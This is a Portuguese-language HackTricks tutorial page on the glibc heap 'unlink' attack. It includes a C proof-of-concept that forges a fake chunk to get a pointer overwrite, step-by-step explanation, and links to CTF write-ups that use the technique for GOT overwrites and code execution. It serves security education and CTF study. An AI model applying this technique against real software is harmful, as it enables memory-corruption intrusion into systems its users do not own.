8.1 KiB
Unlink Attack
{{#include ../../banners/hacktricks-training.md}}
Informações Básicas
Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas verificações foram adicionadas, tornando a nova versão do ataque mais interessante, mais complexa e inútil.
Exemplo de Código:
Código
```c #include #include #include #include// Altered from d778318b6a/assets/files/unlink_exploit.c
to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
- O ataque não funciona se tcaches forem usados (após 2.26)
### Objetivo
Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.
- Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
- Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\
Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).
### Requisitos
- Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
- Vazamento da pilha para definir os ponteiros do chunk falso.
### Ataque
- Existem alguns chunks (chunk1 e chunk2)
- O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
- No chunk1, o atacante cria a estrutura de um chunk falso:
- Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
- e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
- Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
- Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**.
- Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
- Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referências
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
- Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
- Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
- Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar.
{{#include ../../banners/hacktricks-training.md}}